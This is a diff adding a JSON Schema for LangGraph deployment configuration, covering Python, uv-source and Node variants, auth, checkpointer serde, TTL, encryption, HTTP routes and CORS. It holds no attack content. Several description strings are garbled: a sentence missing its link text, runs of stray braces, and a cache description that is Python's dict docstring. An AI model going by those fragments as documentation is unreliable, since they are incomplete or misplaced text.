+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Path to a pip config file (e.g., \"/etc/pip.conf\" or \"pip.ini\") for controlling\npackage installation (custom indices, credentials, etc.).\n\nOnly relevant if Python dependencies are installed via pip. If omitted, default pip settings are used.\n"
+            },
+            "_INTERNAL_docker_tag": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Internal use only.\n"
+            },
+            "api_version": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Which semantic version of the LangGraph API server to use.\n\nDefaults to latest. Check the\nfor more information.\n"
+            },
+            "auth": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/AuthConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom authentication config, including the path to your Python auth logic and\nthe OpenAPI security definitions it uses.\n"
+            },
+            "base_image": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Base image to use for the LangGraph API server.\n\nDefaults to langchain/langgraph-api or langchain/langgraphjs-api.\n"
+            },
+            "checkpointer": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/CheckpointerConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).\n"
+            },
+            "dependencies": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "List of Python dependencies to install, either from PyPI or local paths.\n"
+            },
+            "dockerfile_lines": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "Optional. Additional Docker instructions that will be appended to your base Dockerfile.\n\nUseful for installing OS packages, setting environment variables, etc."
+            },
+            "encryption": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/EncryptionConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom at-rest encryption config, including the path to your Python encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database.\n"
+            },
+            "env": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "string"
+                }
+              ],
+              "description": "Optional. Environment variables to set for your deployment.\n\n- If given as a dict, keys are variable names and values are their values.\n- If given as a string, it must be a path to a file containing lines in KEY=VALUE format.\n\nenv=\".env\n"
+            },
+            "graphs": {
+              "type": "object",
+              "additionalProperties": {
+                "anyOf": [
+                  {
+                    "type": "string"
+                  },
+                  {
+                    "$ref": "#/$defs/GraphDef"
+                  }
+                ]
+              },
+              "description": "Optional. Named definitions of graphs, each pointing to a Python object.\n\n\nGraphs can be StateGraph, @entrypoint, or any other Pregel object OR they can point to (async) context\nmanagers that accept a single configuration argument (of type RunnableConfig) and return a pregel object\n(instance of Stategraph, etc.).\n\nor objects with a \"path\" key and optional \"description\" key."
+            },
+            "http": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/HttpConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in HTTP server, controlling which custom routes are exposed\nand how cross-origin requests are handled.\n"
+            },
+            "image_distro": {
+              "anyOf": [
+                {
+                  "enum": [
+                    "bookworm",
+                    "debian",
+                    "wolfi"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Linux distribution for the base image.\n\nMust be one of 'wolfi', 'debian', or 'bookworm'.\nIf omitted, defaults to 'debian' ('latest').\n"
+            },
+            "keep_pkg_tools": {
+              "anyOf": [
+                {
+                  "type": "boolean"
+                },
+                {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Control whether to retain Python packaging tools in the final image.\n\nYou can also set to true to include all packaging tools.\n"
+            },
+            "pip_installer": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "auto",
+                    "pip",
+                    "uv"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ]
+            },
+            "source": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/UvSource"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Explicit deployment source configuration.\n\n`root/pyproject.toml` and `root/uv.lock`. If `root` is a workspace and the\ntarget is ambiguous, set `package` to the desired workspace member.\n"
+            },
+            "store": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/StoreConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in long-term memory store, including semantic search indexing.\n\nIf omitted, no vector index is set up (the object store will still be present, however).\n"
+            },
+            "ui": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Named definitions of UI components emitted by the agent, each pointing to a JS/TS file.\n"
+            },
+            "webhooks": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/WebhooksConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Webhooks configuration for outbound event delivery.\n\nForwarded into the container as `LANGGRAPH_WEBHOOKS`. See `WebhooksConfig`\nfor URL policy and header templating details.\n"
+            }
+          },
+          "required": [
+            "dependencies",
+            "graphs"
+          ]
+        },
+        {
+          "type": "object",
+          "properties": {
+            "python_version": {
+              "type": "string",
+              "description": "Optional. Python version in 'major.minor' format (e.g. '3.11').\nMust be at least 3.11 or greater for this deployment to function properly.\n",
+              "enum": [
+                "3.11",
+                "3.12",
+                "3.13"
+              ]
+            },
+            "pip_config_file": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Path to a pip config file (e.g., \"/etc/pip.conf\" or \"pip.ini\") for controlling\npackage installation (custom indices, credentials, etc.).\n\nOnly relevant if Python dependencies are installed via pip. If omitted, default pip settings are used.\n"
+            },
+            "_INTERNAL_docker_tag": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Internal use only.\n"
+            },
+            "api_version": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Which semantic version of the LangGraph API server to use.\n\nDefaults to latest. Check the\nfor more information.\n"
+            },
+            "auth": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/AuthConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom authentication config, including the path to your Python auth logic and\nthe OpenAPI security definitions it uses.\n"
+            },
+            "base_image": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Base image to use for the LangGraph API server.\n\nDefaults to langchain/langgraph-api or langchain/langgraphjs-api.\n"
+            },
+            "checkpointer": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/CheckpointerConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).\n"
+            },
+            "dependencies": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "List of Python dependencies to install, either from PyPI or local paths.\n"
+            },
+            "dockerfile_lines": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "Optional. Additional Docker instructions that will be appended to your base Dockerfile.\n\nUseful for installing OS packages, setting environment variables, etc."
+            },
+            "encryption": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/EncryptionConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom at-rest encryption config, including the path to your Python encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database.\n"
+            },
+            "env": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "string"
+                }
+              ],
+              "description": "Optional. Environment variables to set for your deployment.\n\n- If given as a dict, keys are variable names and values are their values.\n- If given as a string, it must be a path to a file containing lines in KEY=VALUE format.\n\nenv=\".env\n"
+            },
+            "graphs": {
+              "type": "object",
+              "additionalProperties": {
+                "anyOf": [
+                  {
+                    "type": "string"
+                  },
+                  {
+                    "$ref": "#/$defs/GraphDef"
+                  }
+                ]
+              },
+              "description": "Optional. Named definitions of graphs, each pointing to a Python object.\n\n\nGraphs can be StateGraph, @entrypoint, or any other Pregel object OR they can point to (async) context\nmanagers that accept a single configuration argument (of type RunnableConfig) and return a pregel object\n(instance of Stategraph, etc.).\n\nor objects with a \"path\" key and optional \"description\" key."
+            },
+            "http": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/HttpConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in HTTP server, controlling which custom routes are exposed\nand how cross-origin requests are handled.\n"
+            },
+            "image_distro": {
+              "anyOf": [
+                {
+                  "enum": [
+                    "bookworm",
+                    "debian",
+                    "wolfi"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Linux distribution for the base image.\n\nMust be one of 'wolfi', 'debian', or 'bookworm'.\nIf omitted, defaults to 'debian' ('latest').\n"
+            },
+            "keep_pkg_tools": {
+              "anyOf": [
+                {
+                  "type": "boolean"
+                },
+                {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Control whether to retain Python packaging tools in the final image.\n\nYou can also set to true to include all packaging tools.\n"
+            },
+            "pip_installer": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "auto",
+                    "pip",
+                    "uv"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ]
+            },
+            "source": {
+              "$ref": "#/$defs/UvSource"
+            },
+            "store": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/StoreConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in long-term memory store, including semantic search indexing.\n\nIf omitted, no vector index is set up (the object store will still be present, however).\n"
+            },
+            "ui": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Named definitions of UI components emitted by the agent, each pointing to a JS/TS file.\n"
+            },
+            "webhooks": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/WebhooksConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Webhooks configuration for outbound event delivery.\n\nForwarded into the container as `LANGGRAPH_WEBHOOKS`. See `WebhooksConfig`\nfor URL policy and header templating details.\n"
+            }
+          },
+          "required": [
+            "graphs",
+            "source"
+          ]
+        },
+        {
+          "type": "object",
+          "properties": {
+            "node_version": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "20"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Node.js version as a major version (e.g. '20'), if your deployment needs Node.\nMust be >= 20 if provided.\n"
+            },
+            "_INTERNAL_docker_tag": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Internal use only.\n"
+            },
+            "api_version": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Which semantic version of the LangGraph API server to use.\n\nDefaults to latest. Check the\nfor more information.\n"
+            },
+            "auth": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/AuthConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom authentication config, including the path to your Python auth logic and\nthe OpenAPI security definitions it uses.\n"
+            },
+            "base_image": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Base image to use for the LangGraph API server.\n\nDefaults to langchain/langgraph-api or langchain/langgraphjs-api.\n"
+            },
+            "checkpointer": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/CheckpointerConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).\n"
+            },
+            "dependencies": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "List of Python dependencies to install, either from PyPI or local paths.\n"
+            },
+            "dockerfile_lines": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "Optional. Additional Docker instructions that will be appended to your base Dockerfile.\n\nUseful for installing OS packages, setting environment variables, etc."
+            },
+            "encryption": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/EncryptionConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom at-rest encryption config, including the path to your Python encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database.\n"
+            },
+            "env": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "string"
+                }
+              ],
+              "description": "Optional. Environment variables to set for your deployment.\n\n- If given as a dict, keys are variable names and values are their values.\n- If given as a string, it must be a path to a file containing lines in KEY=VALUE format.\n\nenv=\".env\n"
+            },
+            "graphs": {
+              "type": "object",
+              "additionalProperties": {
+                "anyOf": [
+                  {
+                    "type": "string"
+                  },
+                  {
+                    "$ref": "#/$defs/GraphDef"
+                  }
+                ]
+              },
+              "description": "Optional. Named definitions of graphs, each pointing to a Python object.\n\n\nGraphs can be StateGraph, @entrypoint, or any other Pregel object OR they can point to (async) context\nmanagers that accept a single configuration argument (of type RunnableConfig) and return a pregel object\n(instance of Stategraph, etc.).\n\nor objects with a \"path\" key and optional \"description\" key."
+            },
+            "http": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/HttpConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in HTTP server, controlling which custom routes are exposed\nand how cross-origin requests are handled.\n"
+            },
+            "image_distro": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "debian",
+                    "wolfi"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Linux distribution for the base image.\n\nMust be one of 'wolfi', 'debian', or 'bookworm'.\nIf omitted, defaults to 'debian' ('latest').\n"
+            },
+            "keep_pkg_tools": {
+              "anyOf": [
+                {
+                  "type": "boolean"
+                },
+                {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Control whether to retain Python packaging tools in the final image.\n\nYou can also set to true to include all packaging tools.\n"
+            },
+            "pip_installer": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "auto",
+                    "pip",
+                    "uv"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ]
+            },
+            "source": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/UvSource"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Explicit deployment source configuration.\n\n`root/pyproject.toml` and `root/uv.lock`. If `root` is a workspace and the\ntarget is ambiguous, set `package` to the desired workspace member.\n"
+            },
+            "store": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/StoreConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in long-term memory store, including semantic search indexing.\n\nIf omitted, no vector index is set up (the object store will still be present, however).\n"
+            },
+            "ui": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Named definitions of UI components emitted by the agent, each pointing to a JS/TS file.\n"
+            },
+            "webhooks": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/WebhooksConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Webhooks configuration for outbound event delivery.\n\nForwarded into the container as `LANGGRAPH_WEBHOOKS`. See `WebhooksConfig`\nfor URL policy and header templating details.\n"
+            }
+          },
+          "required": [
+            "node_version",
+            "graphs"
+          ]
+        }
+      ]
+    },
+    "AuthConfig": {
+      "title": "AuthConfig",
+      "description": "Configuration for custom authentication logic and how it integrates into the OpenAPI spec.",
+      "type": "object",
+      "properties": {
+        "cache": {
+          "$ref": "#/$defs/CacheConfig",
+          "description": "Optional. Cache configuration for the server.\n"
+        },
+        "disable_studio_auth": {
+          "type": "boolean",
+          "description": "Optional. Whether to disable LangSmith API-key authentication for requests originating the Studio.\n\nDefaults to False, meaning that if a particular header is set, the server will verify the `x-api-key` header\nvalue is a valid API key for the deployment's workspace. If `True`, all requests will go through your custom\nauthentication logic, regardless of origin of the request.\n"
+        },
+        "openapi": {
+          "$ref": "#/$defs/SecurityConfig",
+          "description": "The security configuration to include in your server's OpenAPI spec.\n\n{\n}\n}\n}\n},\n]\n}\n"
+        },
+        "path": {
+          "type": "string",
+          "description": "Required. Path to an instance of the Auth() class that implements custom authentication.\n"
+        }
+      },
+      "required": []
+    },
+    "CacheConfig": {
+      "title": "CacheConfig",
+      "type": "object",
+      "properties": {
+        "cache_keys": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. List of header keys to use for caching.\n"
+        },
+        "max_size": {
+          "type": "integer",
+          "description": "Optional. Maximum size of the cache.\n"
+        },
+        "ttl_seconds": {
+          "type": "integer",
+          "description": "Optional. Time-to-live in seconds for cached items.\n"
+        }
+      },
+      "required": [],
+      "description": "dict() -> new empty dictionary\ndict(mapping) -> new dictionary initialized from a mapping object's\n    (key, value) pairs\ndict(iterable) -> new dictionary initialized as if via:\n    d = {}\n    for k, v in iterable:\n        d[k] = v\ndict(**kwargs) -> new dictionary initialized with the name=value pairs\n    in the keyword argument list.  For example:  dict(one=1, two=2)"
+    },
+    "SecurityConfig": {
+      "title": "SecurityConfig",
+      "description": "Configuration for OpenAPI security definitions and requirements.\n\nUseful for specifying global or path-level authentication and authorization flows\n(e.g., OAuth2, API key headers, etc.).",
+      "type": "object",
+      "properties": {
+        "paths": {
+          "type": "object",
+          "additionalProperties": {
+            "type": "object",
+            "additionalProperties": {
+              "type": "array",
+              "items": {
+                "type": "object",
+                "additionalProperties": {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                }
+              }
+            }
+          },
+          "description": "Path-specific security overrides.\n\n- Keys that are HTTP methods (e.g., \"GET\", \"POST\"),\n- Values are lists of security definitions (just like `security`) for that method.\n"
+        },
+        "security": {
+          "type": "array",
+          "items": {
+            "type": "object",
+            "additionalProperties": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            }
+          },
+          "description": "Global security requirements across all endpoints.\n\nEach element in the list maps a security scheme (e.g. \"OAuth2\") to a list of scopes (e.g. [\"read\", \"write\"])."
+        },
+        "securitySchemes": {
+          "type": "object",
+          "additionalProperties": {
+            "type": "object"
+          },
+          "description": "Describe each security scheme recognized by your OpenAPI spec.\n\nKeys are scheme names (e.g. \"OAuth2\", \"ApiKeyAuth\") and values are their definitions."
+        }
+      },
+      "required": []
+    },
+    "CheckpointerConfig": {
+      "title": "CheckpointerConfig",
+      "description": "Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).",
+      "type": "object",
+      "properties": {
+        "path": {
+          "type": "string",
+          "description": "Import path to an async context manager that yields a `BaseCheckpointSaver`\ninstance.\n\nThe referenced object should be an `@asynccontextmanager`-decorated function\nso that the server can properly manage the checkpointer's lifecycle (e.g.\nopening and closing connections).\n"
+        },
+        "serde": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/SerdeConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the serde configuration.\n\nIf provided, the checkpointer will apply serde settings according to the configuration.\nIf omitted, no serde behavior is configured.\n\nThis configuration requires server version 0.5 or later to take effect.\n"
+        },
+        "ttl": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/ThreadTTLConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the TTL (time-to-live) behavior configuration.\n\nIf provided, the checkpointer will apply TTL settings according to the configuration.\nIf omitted, no TTL behavior is configured.\n"
+        }
+      },
+      "required": []
+    },
+    "SerdeConfig": {
+      "title": "SerdeConfig",
+      "description": "Configuration for the built-in serde, which handles checkpointing of state.\n\nIf omitted, no serde is set up (the object store will still be present, however).",
+      "type": "object",
+      "properties": {
+        "allowed_json_modules": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "array",
+                "items": {
+                  "type": "string"
+                }
+              }
+            },
+            {
+              "type": "boolean"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. List of allowed python modules to de-serialize custom objects from JSON.\n\nIf provided, only the specified modules will be allowed to be deserialized.\nIf omitted, no modules are allowed, and the object returned will simply be a json object OR\na deserialized langchain object.\n"
+        },
+        "allowed_msgpack_modules": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "array",
+                "items": {
+                  "type": "string"
+                }
+              }
+            },
+            {
+              "type": "boolean"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. List of allowed python modules to de-serialize custom objects from msgpack.\n\nKnown safe types (langgraph.checkpoint.serde.jsonplus.SAFE_MSGPACK_TYPES) are always\nallowed regardless of this setting. Use this to allowlist your custom Pydantic models,\ndataclasses, and other user-defined types.\n\nIf True (default), unregistered types will log a warning but still be deserialized.\nIf None, only known safe types will be deserialized; unregistered types will be blocked.\n\n{...\n[\"my_agent.models\", \"MyState\"],\n]\n}\n}\n\n{...\n}\n}\n\n"
+        },
+        "pickle_fallback": {
+          "type": "boolean",
+          "description": "Optional. Whether to allow pickling as a fallback for deserialization.\n\nIf True, pickling will be allowed as a fallback for deserialization.\nIf False, pickling will not be allowed as a fallback for deserialization.\nDefaults to True if not configured."
+        }
+      },
+      "required": []
+    },
+    "ThreadTTLConfig": {
+      "title": "ThreadTTLConfig",
+      "description": "Configure a default TTL for checkpointed data within threads.",
+      "type": "object",
+      "properties": {
+        "default_ttl": {
+          "anyOf": [
+            {
+              "type": "number"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Default TTL (time-to-live) in minutes for checkpointed data."
+        },
+        "strategy": {
+          "enum": [
+            "delete",
+            "keep_latest"
+          ],
+          "description": "Action taken when a thread exceeds its TTL.\n\n"
+        },
+        "sweep_interval_minutes": {
+          "anyOf": [
+            {
+              "type": "integer"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Interval in minutes between sweep iterations.\nIf omitted, a default interval will be used (typically ~ 5 minutes)."
+        },
+        "sweep_limit": {
+          "anyOf": [
+            {
+              "type": "integer"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Maximum number of threads to process per sweep iteration. Defaults to 1000."
+        }
+      },
+      "required": []
+    },
+    "EncryptionConfig": {
+      "title": "EncryptionConfig",
+      "description": "Configuration for custom at-rest encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database,\nincluding metadata fields and checkpoint blobs.",
+      "type": "object",
+      "properties": {
+        "path": {
+          "type": "string"
+        }
+      },
+      "required": []
+    },
+    "GraphDef": {
+      "title": "GraphDef",
+      "description": "Definition of a graph with additional metadata.",
+      "type": "object",
+      "properties": {
+        "description": {
+          "anyOf": [
+            {
+              "type": "string"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. A description of the graph's purpose and functionality.\n\nThis description is surfaced in the API and can help users understand what the graph does.\n"
+        },
+        "path": {
+          "type": "string",
+          "description": "Required. Import path to the graph object.\n"
+        }
+      },
+      "required": []
+    },
+    "HttpConfig": {
+      "title": "HttpConfig",
+      "description": "Configuration for the built-in HTTP server that powers your deployment's routes and endpoints.",
+      "type": "object",
+      "properties": {
+        "app": {
+          "type": "string",
+          "description": "Optional. Import path to a custom Starlette/FastAPI application to mount.\n"
+        },
+        "configurable_headers": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/ConfigurableHeaderConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines how headers are treated for a run's configuration.\n\nYou can include or exclude headers as configurable values to condition your\nagent's behavior or permissions on a request's headers."
+        },
+        "cors": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/CorsConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines CORS restrictions. If omitted, no special rules are set and\ncross-origin behavior depends on default server settings.\n"
+        },
+        "disable_a2a": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /a2a routes are removed, disabling default support to expose the deployment as an agent-to-agent (A2A) server.\n\nDefault is False.\n"
+        },
+        "disable_assistants": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /assistants routes are removed from the server.\n\nDefault is False (meaning /assistants is enabled).\n"
+        },
+        "disable_mcp": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /mcp routes are removed, disabling default support to expose the deployment as an MCP server.\n\nDefault is False.\n"
+        },
+        "disable_meta": {
+          "type": "boolean",
+          "description": "Optional. Remove meta endpoints.\n\n\nDefault is False.\n"
+        },
+        "disable_runs": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /runs routes are removed.\n\nDefault is False.\n"
+        },
+        "disable_store": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /store routes are removed, disabling direct store interactions via HTTP.\n\nDefault is False.\n"
+        },
+        "disable_threads": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /threads routes are removed.\n\nDefault is False.\n"
+        },
+        "disable_ui": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /ui routes are removed, disabling the UI server.\n\nDefault is False.\n"
+        },
+        "disable_webhooks": {
+          "type": "boolean",
+          "description": "Optional. If `True`, webhooks are disabled. Runs created with an associated webhook will\nstill be executed, but the webhook event will not be sent.\n\nDefault is False.\n"
+        },
+        "enable_custom_route_auth": {
+          "type": "boolean",
+          "description": "Optional. If `True`, authentication is enabled for custom routes,\nnot just the routes that are protected by default.\n(Routes protected by default include /assistants, /threads, and /runs).\n\nDefault is False. This flag only affects authentication behavior\nif `app` is provided and contains custom routes.\n"
+        },
+        "logging_headers": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/ConfigurableHeaderConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines which headers are excluded from logging."
+        },
+        "middleware_order": {
+          "anyOf": [
+            {
+              "enum": [
+                "auth_first",
+                "middleware_first"
+              ]
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the order in which to apply server customizations.\n"
+        },
+        "mount_prefix": {
+          "type": "string",
+          "description": "Optional. URL prefix to prepend to all the routes.\n"
+        }
+      },
+      "required": []
+    },
+    "ConfigurableHeaderConfig": {
+      "title": "ConfigurableHeaderConfig",
+      "description": "Customize which headers to include as configurable values in your runs.\n\nBy default, omits x-api-key, x-tenant-id, and x-service-key.\n\nExclusions (if provided) take precedence.\n\nEach value can be a raw string with an optional wildcard.",
+      "type": "object",
+      "properties": {
+        "excludes": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Headers to exclude. Applied before the 'includes' checks.\n"
+        },
+        "includes": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Headers to include (if not also matched against an 'excludes' pattern).\n"
+        }
+      },
+      "required": []
+    },
+    "CorsConfig": {
+      "title": "CorsConfig",
+      "description": "Specifies Cross-Origin Resource Sharing (CORS) rules for your server.\n\nIf omitted, defaults are typically very restrictive (often no cross-origin requests).\nConfigure carefully if you want to allow usage from browsers hosted on other domains.",
+      "type": "object",
+      "properties": {
+        "allow_credentials": {
+          "type": "boolean",
+          "description": "Optional. If `True`, cross-origin requests can include credentials (cookies, auth headers).\n\nDefault False to avoid accidentally exposing secured endpoints to untrusted sites.\n"
+        },
+        "allow_headers": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. HTTP headers that can be used in cross-origin requests (e.g. [\"Content-Type\", \"Authorization\"])."
+        },
+        "allow_methods": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. HTTP methods permitted for cross-origin requests (e.g. [\"GET\", \"POST\"]).\n\nDefault might be [\"GET\", \"POST\", \"OPTIONS\"] depending on your server framework.\n"
+        },
+        "allow_origin_regex": {
+          "type": "string",
+          "description": "Optional. A regex pattern for matching allowed origins, used if you have dynamic subdomains.\n"
+        },
+        "allow_origins": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. List of allowed origins (e.g., \"https://example.com\").\n\nDefault is often an empty list (no external origins).\nUse \"*\" only if you trust all origins, as that bypasses most restrictions.\n"
+        },
+        "expose_headers": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. List of headers that browsers are allowed to read from the response in cross-origin contexts."
+        },
+        "max_age": {
+          "type": "integer",
+          "description": "Optional. How many seconds the browser may cache preflight responses.\n\nDefault might be 600 (10 minutes). Larger values reduce preflight requests but can cause stale configurations.\n"
+        }
+      },
+      "required": []
+    },
+    "UvSource": {
+      "title": "UvSource",
+      "description": "Deployment source rooted at a uv project or workspace.",
+      "type": "object",
